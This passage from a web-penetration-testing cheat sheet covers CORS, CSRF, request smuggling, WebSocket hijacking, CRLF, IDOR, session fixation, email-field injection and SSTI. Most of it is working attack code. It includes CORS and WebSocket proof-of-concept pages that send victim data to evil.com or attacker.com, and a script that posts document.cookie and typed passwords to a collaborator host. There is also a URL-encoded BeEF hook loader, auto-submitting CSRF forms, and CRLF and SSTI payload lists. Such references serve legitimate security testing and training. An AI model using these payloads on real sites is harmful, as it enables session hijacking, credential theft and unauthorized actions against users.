}

fetchUrl("http://$ip");
</script>
Click on "Deliver exploit to victim" to submit the code. Once you have submitted the form to delete user carlos then you have completed the lab.

# JSONP

In GET URL append “?callback=testjsonp”
Response should be:
testjsonp(<json-data>)

# Bypasses
Origin:null
Origin:attacker.com
Origin:attacker.target.com
Origin:attackertarget.com
Origin:sub.attackertarget.com
```

## **CORS PoC**

```
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC Exploit</title>
</head>
<body>
<center>

<h1>CORS Exploit<br>six2dez</h1>
<hr>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script type="text/javascript">
 function cors() {
   var xhttp = new XMLHttpRequest();
   xhttp.onreadystatechange = function() {
     if(this.readyState == 4 && this.status == 200) {
        document.getElementById("demo").innerHTML = this.responseText;
     }
   };
 xhttp.open("GET", "http://<vulnerable-url>", true);
 xhttp.withCredentials = true;
 xhttp.send();
 }
</script>

</center>
</body>
</html>
```

## **CORS PoC 2**

```
<html>
<script>
var http = new XMLHttpRequest();
var url = 'Url';//Paste here Url
var params = 'PostData';//Paste here POST data
http.open('POST', url, true);

//Send the proper header information along with the request
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

http.onreadystatechange = function() {//Call a function when the state changes.
    if(http.readyState == 4 && http.status == 200) {
        alert(http.responseText);
    }
}
http.send(params);

</script>
</html>
```

## CORS PoC 3 - Sensitive Data Leakage

```
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='corspoc'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from target1337.com about user account
document.getElementById("corspoc").innerHTML = a;
xhttp.open("POST", "https://evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("POST", "https://target1337.com", true);
xhttp.withCredentials = true;
var body = "requestcontent";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i); 
xhttp.send(new Blob([aBody]));
}
</script>
</body>
</html>
```

## **CORS JSON PoC**

```
<!DOCTYPE html>
<html>
<head>
<title>JSONP PoC</title>
</head>
<body>
<center>

<h1>JSONP Exploit<br>YourTitle</h1>
<hr>
<div id="demo">
<button type="button" onclick="trigger()">Exploit</button>
</div>
<script>

function testjsonp(myObj) {
  var result = JSON.stringify(myObj)
  document.getElementById("demo").innerHTML = result;
  //console.log(myObj)
}

</script>

<script >

  function trigger() {
    var s = document.createElement("script");
    s.src = "https://<vulnerable-endpoint>?callback=testjsonp";
    document.body.appendChild(s);
}

</script>
</body>
</html>
```


# CSRF

## Summary

{% hint style="info" %}
Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.

3 conditions:

* A relevant action.
* Cookie-based session handling.
* No unpredictable request parameters.

How to find:

* Remove CSRF token from requests and/or put a blank space.
* Change POST to GET.
* Replace the CSRF token with a random value (for example 1).
* Replace the CSRF token with a random token of the same restraints.
* Extract token with HTML injection.
* Use a CSRF token that has been used before.
* Bypass regex.
* Remove referer header.
* Request a CSRF by executing the call manually and use that token for the request.
  {% endhint %}

### Approach

```
- Removing the token parameter entirely
- Setting the token to a blank string
- Changing the token to an invalid token of the same format
- Using a different user's token
- Put the parameters in the URL instead of POST body (and remove the token) and change the HTTP verb to GET
- Testing every sensitive endpoint
- Check whether the token might be guessed / cracked
- Check whether new tokens are generated for every session, if not they may be a hash of something simple like the user's email address. If so you can craft your own valid tokens.
- Try building the payload with multiple methods including a standard HTML form, multipart form, and XHR (Burp can help)
```

### Quick attacks

```markup
# HTML GET
<a href=”http://vulnerable/endpoint?parameter=CSRFd">Click</a>

# HTML GET (no interaction)
<img src=”http://vulnerable/endpoint?parameter=CSRFd">

# HTML POST:
<form action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>

# HTML POST (no interaction)
<form id="autosubmit" action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>

# JSON GET:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://vulnerable/endpoint");
xhr.send();
</script>

# JSON POST
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://vulnerable/endpoint");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"role":admin}');
</script>
```

## Tools

```bash
# https://github.com/0xInfection/XSRFProbe
xsrfprobe --help

https://csrfshark.github.io/
```

## Example 1

```markup
Vulnerable request example:
__
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com
__

HTML with attack:
__
<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
__
```

## Example 2

```markup
# Exploit CSRF in GET:
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

- SameSite cookie property avoid the attack:
   → Only from same site:
    SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict; 
   → From other site only if GET and requested by click, not scripts (vulnerable if CSRF in GET or POST converted to GET):    
    SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax; 

<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```

## **Json CSRF**

```
Requirements:

1. The authentication mechanism should be in the cookie-based model. (By default cookie-based authentication is vulnerable to CSRF attacks)
2. The HTTP request should not be fortify by the custom random token on the header as well in the body.(X-Auth-Token)
3. The HTTP request should not be fortify by the Same Origin Policy.

Bypass 2 & 3:
• Change the request method to GET append the body as query parameter.
• Test the request without the Customized Token (X-Auth-Token) and also header.
• Test the request with exact same length but different token.

If post is not allowed, can try with URL/param?_method=PUT


<body onload='document.forms[0].submit()'>
<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
  <input type="text" name='{"username":"blob","dummy":"' value='"}'>
  <input type="submit" value="send">
</form>

<!---This results in a request body of:
{"username":"blob", "dummy": "="} -->
```

## **CSRF Token Bypass**

```
CSRF Tokens

Unpredictable value generated from the server to the client, when a second request is made, server validate this token and reject the request if is missing or invalid. Prevent CSRF attack because the malicious HTTP request formed can't know the CSRF Token generated for the victim.
   → Is transmited to the client through a hidden field:


- Example:
    __
    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 68
    Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

    csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com
    __

- Validation depends on method (usually POST):
    __
    GET /email/change?email=pwned@evil-user.net HTTP/1.1
    Host: vulnerable-website.com
    Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
    __

- Validation depend on token is present (if not, validation is skipped):
    --
    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

    email=pwned@evil-user.net
    --
- CSRF not tied to user session

- CSRF tied to a non-session cookie:
    --
    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 68
    Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

    csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
    --

- CSRF token duplicated in cookie:
    --
    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 68
    Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

    csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
    --

- Validation of referer depends on header present (if not, validation is skipped)

- Circumvent referer validation (if only checks the domain existence)

- Remove Anti-CSRF Token
- Spoof Anti-CSRF Token by Changing a few bits
- Using Same Anti-CSRF Token
- Weak Cryptography to generate Anti-CSRF Token
- Guessable Anti-CSRF Token
- Stealing Token with other attacks such as XSS.
- Converting POST Request to GET Request to bypass the CSRF Token Check. (This is what we will see for this article)

Other validations bypasses:
1) remove anticsrf tokens & parameter
2) pass blank paramter
3) add same length token
4) add another userss valid anti csrf token
5) random token in long length (aaaaaaaaa) 
6) Try decode token
7) Use only static part of the token
```

## CSRF sample POC

```
<html>
<script>
function jsonreq() {
  var xmlhttp = new XMLHttpRequest();
  xmlhttp.open("POST","https://target.com/api/endpoint", true);
  xmlhttp.setRequestHeader("Content-Type","text/plain");
  //xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
  xmlhttp.withCredentials = true;
  xmlhttp.send(JSON.stringify({"test":"x"}));
}
jsonreq();
</script>
</html>
```

## CSRF to reflected XSS

```
<html>
  <body>
    <p>Please wait... ;)</p>
    <script>
let host = 'http://target.com'
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'

function submitRequest() {
  var req = new XMLHttpRequest();
  req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
  req.setRequestHeader("Accept", "*\/*");
  req.withCredentials = true;
  req.onreadystatechange = function () {
    if (req.readyState === 4) {
      executeXSS();
    }
  }
  req.send();
}

function executeXSS() {
  window.location.assign(host+'<URI with XSS>'+alert_payload);
}

submitRequest();
    </script>
  </body>
</html>
```

## Mindmaps

![](https://camo.githubusercontent.com/1216587b905ccfe5114a4420caad3369e49d57c12d9c837a78330733540f9a12/68747470733a2f2f7062732e7477696d672e636f6d2f6d656469612f4559373062786b576b4141467a47623f666f726d61743d6a7067266e616d653d39303078393030)

![](/files/-MLlrfC3S6ffP6wir1G9)

![](/files/-MMEjpnylQQjuMI6uPM3)


# Web Cache Poisoning

## General

{% hint style="info" %}
Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.

Fundamentally, web cache poisoning involves two phases. First, the attacker must work out how to elicit a response from the back-end server that inadvertently contains some kind of dangerous payload. Once successful, they need to make sure that their response is cached and subsequently served to the intended victims.

A poisoned web cache can potentially be a devastating means of distributing numerous different attacks, exploiting vulnerabilities such as XSS, JavaScript injection, open redirection, and so on.
{% endhint %}

## Tools

```bash
# https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
wcvs -u https://url.com
# https://github.com/s0md3v/Arjun
python3 arjun.py -u https://url.com --get 
python3 arjun.py -u https://url.com --post
# https://github.com/maK-/parameth
python parameth.py -u https://example.com/test.php
# https://github.com/devanshbatham/ParamSpider
python3 paramspider.py --domain example.com
# https://github.com/s0md3v/Parth
python3 parth.py -t example.com
```

```markup
# XSS for users accessing /en?region=uk:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```


# Broken Links

## Tools

```bash
# https://github.com/stevenvachon/broken-link-checker 
blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/
```


# Clickjacking

## General

{% hint style="info" %}
Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.

* Preventions:
  * X-Frame-Options: deny/sameorigin/allow-from
  * CSP: policy/frame-ancestors 'none/self/domain.com'
    {% endhint %}

```markup
# An example using the style tag and parameters is as follows:
<head>
  <style>
    #target_website {
      position:relative;
      width:128px;
      height:128px;
      opacity:0.00001;
      z-index:2;
      }
    #decoy_website {
      position:absolute;
      width:300px;
      height:400px;
      z-index:1;
      }
  </style>
</head>
...
<body>
  <div id="decoy_website">
  ...decoy web content here...
  </div>
  <iframe id="target_website" src="https://vulnerable-website.com">
  </iframe>
</body>
```


# HTTP Request Smuggling

## General

{% hint style="info" %}
HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users. Request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers: Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.
{% endhint %}

## Tools

```bash
# https://github.com/defparam/smuggler
python3 smuggler.py -u <URL>
# https://github.com/defparam/tiscripts

# https://github.com/anshumanpattnaik/http-request-smuggling/
python3 smuggle.py -u <URL>

# https://github.com/assetnote/h2csmuggler
go run ./cmd/h2csmuggler check https://google.com/ http://localhost


# HTTP/2
# https://github.com/BishopFox/h2csmuggler
```

## Samples

```http
- The Content-Length header is straightforward: it specifies the length of the message body in bytes. For example:

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

- The Transfer-Encoding header can be used to specify that the message body uses chunked encoding. This means that the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero. For example:

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked

    b
    q=smuggling
    0



• CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
   ◇ Find - time delay:
    POST / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 4

    1
    A
    X
• TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
   ◇ Find time delay:
    POST / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 6

    0

    X
• TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

- CL.TE
    Using Burp Repeater, issue the following request twice:
    POST / HTTP/1.1
    Host: your-lab-id.web-security-academy.net
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 6
    Transfer-Encoding: chunked

    0

    G
    The second response should say: Unrecognized method GPOST.

 - TE.CL
    In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
    Using Burp Repeater, issue the following request twice:
    POST / HTTP/1.1
    Host: your-lab-id.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-length: 4
    Transfer-Encoding: chunked

    5c
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15

    x=1
    0

 - TE.TE: obfuscating TE Header
     In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
    Using Burp Repeater, issue the following request twice:
    POST / HTTP/1.1
    Host: your-lab-id.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-length: 4
    Transfer-Encoding: chunked
    Transfer-encoding: cow

    5c
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15

    x=1
    0
```

![](/files/-M9sBPtbUhUnbgu6JE6w)


# Web Sockets

WebSockets provide bi-directional, full-duplex communication over a single TCP connection, commonly used for real-time features like chat, notifications, and live updates.

## Protocol Basics

### Handshake Request

```http
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Origin: https://normal-website.com
```

### Handshake Response

```http
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

## Security Testing

### Cross-Site WebSocket Hijacking (CSWSH)

If the server doesn't validate the `Origin` header, attackers can hijack WebSocket connections.

```html
<!-- Attacker's page -->
<script>
var ws = new WebSocket('wss://vulnerable-site.com/chat');
ws.onopen = function() {
    ws.send('{"action": "get_messages"}');
};
ws.onmessage = function(event) {
    // Exfiltrate data to attacker server
    fetch('https://attacker.com/log?data=' + encodeURIComponent(event.data));
};
</script>
```

**Test for CSWSH:**

```bash
# Check if Origin is validated
curl -i -N -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Host: target.com" \
  -H "Origin: https://attacker.com" \
  -H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
  -H "Sec-WebSocket-Version: 13" \
  https://target.com/socket

# If 101 Switching Protocols → Vulnerable
```

### Message Manipulation

```javascript
// Intercept and modify WebSocket messages in browser console
const originalSend = WebSocket.prototype.send;
WebSocket.prototype.send = function(data) {
    console.log('Sending:', data);
    // Modify data here
    return originalSend.call(this, data);
};
```

### Common Vulnerabilities

| Vulnerability             | Test                                   |
| ------------------------- | -------------------------------------- |
| Missing Origin validation | Send request with different Origin     |
| No authentication         | Connect without session cookie         |
| Injection in messages     | Send `<script>`, SQL, etc. in messages |
| IDOR via WebSocket        | Change user IDs in messages            |
| Rate limiting bypass      | WebSocket often lacks rate limits      |
| Insecure ws\://           | Check if wss\:// is enforced           |

## Testing Tools

### STEWS - Security Testing for WebSockets

```bash
# https://github.com/PalindromeLabs/STEWS
python3 stews.py -u wss://target.com/socket

# Discovery mode
python3 stews.py -u https://target.com --discovery

# Fuzzing
python3 stews.py -u wss://target.com/socket --fuzz
```

### Burp Suite

```
1. Proxy → WebSockets history (shows all WS traffic)
2. Right-click message → Send to Repeater
3. Modify and resend messages
4. Use Intruder for message fuzzing
```

### wscat (CLI WebSocket Client)

```bash
# Install
npm install -g wscat

# Connect
wscat -c wss://target.com/socket

# With headers
wscat -c wss://target.com/socket -H "Cookie: session=abc123"

# Send message
> {"action": "get_user", "id": 1}
```

### websocat

```bash
# https://github.com/AhmedMohamedDev/websocat
websocat wss://target.com/socket

# With Origin header
websocat -H "Origin: https://attacker.com" wss://target.com/socket
```

## Exploitation Scenarios

### XSS via WebSocket

```javascript
// If messages are rendered without sanitization
ws.send('{"message": "<img src=x onerror=alert(1)>"}');
```

### SQL Injection via WebSocket

```javascript
ws.send('{"user_id": "1 OR 1=1--"}');
ws.send('{"search": "test\' UNION SELECT password FROM users--"}');
```

### Authorization Bypass

```javascript
// Try accessing other users' data
ws.send('{"action": "get_messages", "user_id": "admin"}');
ws.send('{"action": "delete", "message_id": "1", "user_id": "victim"}');
```

## Browser Console Testing

```javascript
// Create connection
var ws = new WebSocket('wss://target.com/socket');

// Monitor events
ws.onopen = () => console.log('Connected');
ws.onmessage = (e) => console.log('Received:', e.data);
ws.onerror = (e) => console.log('Error:', e);
ws.onclose = () => console.log('Closed');

// Send test messages
ws.send(JSON.stringify({action: 'test'}));
```

## Related Topics

* [CSRF](/enumeration/web/csrf) - CSWSH is similar to CSRF
* [XSS](/enumeration/web/xss) - Can chain with WebSocket attacks
* [IDOR](/enumeration/web/idor) - Common in WebSocket APIs


# CRLF

## Tools

```bash
# https://github.com/MichaelStott/CRLF-Injection-Scanner
crlf_scan.py -i <inputfile> -o <outputfile>
# https://github.com/dwisiswant0/crlfuzz
crlfuzz -u "http://target"
# https://github.com/ryandamour/crlfmap
crlfmap scan --domains domains.txt --output results.txt
```

```
The following simplified example uses CRLF to:

1. Add a fake HTTP response header: Content-Length: 0. This causes the web browser to treat this as a terminated response and begin parsing a new response.
2. Add a fake HTTP response: HTTP/1.1 200 OK. This begins the new response.
3. Add another fake HTTP response header: Content-Type: text/html. This is needed for the web browser to properly parse the content.
4. Add yet another fake HTTP response header: Content-Length: 25. This causes the web browser to only parse the next 25 bytes.
5. Add page content with an XSS: <script>alert(1)</script>. This content has exactly 25 bytes.
6. Because of the Content-Length header, the web browser ignores the original content that comes from the web server.

    http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

- Cloudflare CRLF bypass
<iframe src=”%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)”>

Payload list:
/%%0a0aSet-Cookie:crlf=injection
/%0aSet-Cookie:crlf=injection
/%0d%0aSet-Cookie:crlf=injection
/%0dSet-Cookie:crlf=injection
/%23%0aSet-Cookie:crlf=injection
/%23%0d%0aSet-Cookie:crlf=injection
/%23%0dSet-Cookie:crlf=injection
/%25%30%61Set-Cookie:crlf=injection
/%25%30aSet-Cookie:crlf=injection
/%250aSet-Cookie:crlf=injection
/%25250aSet-Cookie:crlf=injection
/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
/%2F..%0d%0aSet-Cookie:crlf=injection
/%3f%0d%0aSet-Cookie:crlf=injection
/%3f%0dSet-Cookie:crlf=injection
/%u000aSet-Cookie:crlf=injection
/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
/%0d%0aheader:header
/%0aheader:header
/%0dheader:header
/%23%0dheader:header
/%3f%0dheader:header
/%250aheader:header
/%25250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
```


# IDOR

## Basics

```
Check for valuable words:
{regex + perm} id
{regex + perm} user
{regex + perm} account
{regex + perm} number
{regex + perm} order
{regex + perm} no
{regex + perm} doc
{regex + perm} key
{regex + perm} email
{regex + perm} group
{regex + perm} profile
{regex + perm} edit
```

## Bypasses

* Add parameters onto the endpoints for example, if there was

```
GET /api_v1/messages --> 401
vs 
GET /api_v1/messages?user_id=victim_uuid --> 200
```

* HTTP Parameter pollution

```
GET /api_v1/messages?user_id=VICTIM_ID --> 401 Unauthorized
GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID --> 200 OK

GET /api_v1/messages?user_id=YOUR_USER_ID[]&user_id=ANOTHER_USERS_ID[]
```

* Add .json to the endpoint, if it is built in Ruby!

```
/user_data/2341 --> 401 Unauthorized
/user_data/2341.json --> 200 OK
```

* Test on outdated API Versions

```
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
```

Wrap the ID with an array.

```
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
```

Wrap the ID with a JSON object:

```
{“id”:111} --> 401 Unauthriozied

{“id”:{“id”:111}} --> 200 OK
```

JSON Parameter Pollution:

```
POST /api/get_profile
Content-Type: application/json
{“user_id”:<legit_id>,”user_id”:<victim’s_id>}
```


# Web Cache Deception

{% hint style="info" %}
These preconditions can be exploited for the Web Cache Deception attack in the following manner:

* Step 1: An attacker entices the victim to open a maliciously crafted link:

  `https://www.example.com/my_profile/test.jpg`

  The application ignores the 'test.jpg' part of the URL, the victim profile page is loaded. The caching mechanism identifies the resource as an image, caching it.
* Step 2: The attacker sends a GET request for the cached page:

  `https://www.example.com/my_profile/test.jpg`

  The cached resource, which is in fact the victim profile page is returned to the attacker (and to anyone else requesting it).
  {% endhint %}


# Session fixation

Session fixation attacks force a user to use a session ID known to the attacker, enabling account takeover after the victim authenticates.

## How It Works

1. Attacker obtains a valid session ID from the target site
2. Attacker tricks victim into using that session ID
3. Victim authenticates with the fixed session
4. Attacker uses the same session ID to access victim's account

## Testing Methodology

### Basic Test

```
1. Open target.com/login (Attacker browser)
2. Note the SESSION cookie value: abc123
3. Open target.com/login in incognito (Victim simulation)
4. Set cookie to attacker's value: abc123
5. Login as victim in incognito tab
6. Refresh attacker's browser
7. If logged in as victim → VULNERABLE
```

### Check if Session Changes on Login

```bash
# Get pre-auth session
curl -c cookies.txt https://target.com/login

# Check cookie value
cat cookies.txt

# Login and check if session changed
curl -b cookies.txt -c cookies2.txt -X POST \
  -d "user=test&pass=test" https://target.com/login

# Compare sessions
diff cookies.txt cookies2.txt
# If same → VULNERABLE
```

## Attack Vectors

### Via URL Parameter

```
# Some apps accept session in URL
https://target.com/login?PHPSESSID=attacker_session
https://target.com/login?JSESSIONID=attacker_session
https://target.com/login;jsessionid=attacker_session

# Send to victim, they login, attacker uses same session
```

### Via Meta Tag Injection

```html
<!-- If XSS or HTML injection exists -->
<meta http-equiv="Set-Cookie" content="session=attacker_session">
```

### Via Subdomain Cookie

```
# If attacker controls subdomain (e.g., user content)
# Set cookie from evil.target.com for .target.com
document.cookie = "session=attacker_session; domain=.target.com"
```

### Via Cross-Site Cooking

```html
<!-- On attacker's site, if target has weak cookie scope -->
<img src="https://target.com/page?session=attacker_session">
```

## Indicators of Vulnerability

| Indicator                            | Status         |
| ------------------------------------ | -------------- |
| Session ID unchanged after login     | ❌ Vulnerable   |
| Session accepted via URL parameter   | ❌ Vulnerable   |
| No `HttpOnly` flag on session cookie | ⚠️ Risk factor |
| Session cookie domain too broad      | ⚠️ Risk factor |
| Long session timeout                 | ⚠️ Risk factor |

## Verification Commands

```bash
# Check cookie attributes
curl -v -c - https://target.com/login 2>&1 | grep -i "set-cookie"

# Look for:
# - HttpOnly flag (mitigates but doesn't prevent)
# - Secure flag
# - SameSite attribute
# - Domain scope
```

## Secure Implementation (What to Look For)

```
✓ Generate new session ID after authentication
✓ Invalidate old session on login
✓ Use HttpOnly and Secure flags
✓ Implement SameSite=Strict or Lax
✓ Reject session IDs from URL parameters
✓ Short session timeouts
```

## Related Topics

* [XSS](/enumeration/web/xss) - Can be used to set cookies
* [CSRF](/enumeration/web/csrf) - Related session attacks
* [Authentication Bypass](/enumeration/web/bruteforcing)


# Email attacks

| Attack                   | Payload                                                                                                                                         |
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- |
| XSS                      | <p>test+(alert(0))@example.com</p><p>test\@example(alert(0)).com</p><p>"alert(0)"@example.com</p><p>\<script src=//xsshere?”@email.com</p>      |
| Template injection       | <p>"<%= 7 \* 7 %>"@example.com</p><p> test+(${{7\*7}})@example.com</p>                                                                          |
| SQLi                     | <p>"' OR 1=1 -- '"@example.com </p><p>"mail'); SELECT version();--"@example.com</p><p>a'-IF(LENGTH(database())=9,SLEEP(7),0)or'1'='1"@a.com</p> |
| SSRF                     | <p><john.doe@abc123.burpcollaborator.net></p><p>john.doe@\[127.0.0.1]</p>                                                                       |
| Parameter Pollution      | victim\&email=<attacker@example.com>                                                                                                            |
| (Email) Header Injection | <p>"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com</p><p>"<recipient@test.com>>\r\nRCPT TO:\<victim+"@test.com</p>                          |
| Wildcard abuse           | %@example.com                                                                                                                                   |

```
# Bypass whitelist
inti(;inti@inti.io;)@whitelisted.com
inti@inti.io(@whitelisted.com)
inti+(@whitelisted.com;)@inti.io

#HTML Injection in Gmail
inti.de.ceukelaire+(<b>bold<u>underline<s>strike<br/>newline<strong>strong<sup>sup<sub>sub)@gmail.com

# Bypass strict validators
# Login with SSO & integrations
GitHub & Salesforce allow xss in email, create account and abuse with login integration

# Common email accounts
support@
jira@
print@
feedback@
asana@
slack@
hello@
bug(s)@
upload@
service@
it@
test@
help@
tickets@
tweet@
```


# Pastejacking

{% embed url="<https://research.securitum.com/the-curious-case-of-copy-paste/>" %}


# HTTP Parameter pollution

```
# Inject existing extra parameters in GET:
https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
https://www.site.com/sharer.php?u=https://site2.com/blog/introducing?&u=https://site3.com/test
```

![](/files/-MKVdiVm38v1gvpsplPo)


# SSTI

```
# Tool
# https://github.com/epinna/tplmap
tplmap.py -u 'http://www.target.com/page?name=John'

# Payloads
# https://github.com/payloadbox/ssti-payloads

# Oneliner
# Check SSTI in all param with qsreplace
waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/
# Check in burp for reponses with ssti81

# Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ [].__class__.__base__.__subclasses__O }}

# PHP Based
{php}print "Hello"{/php}
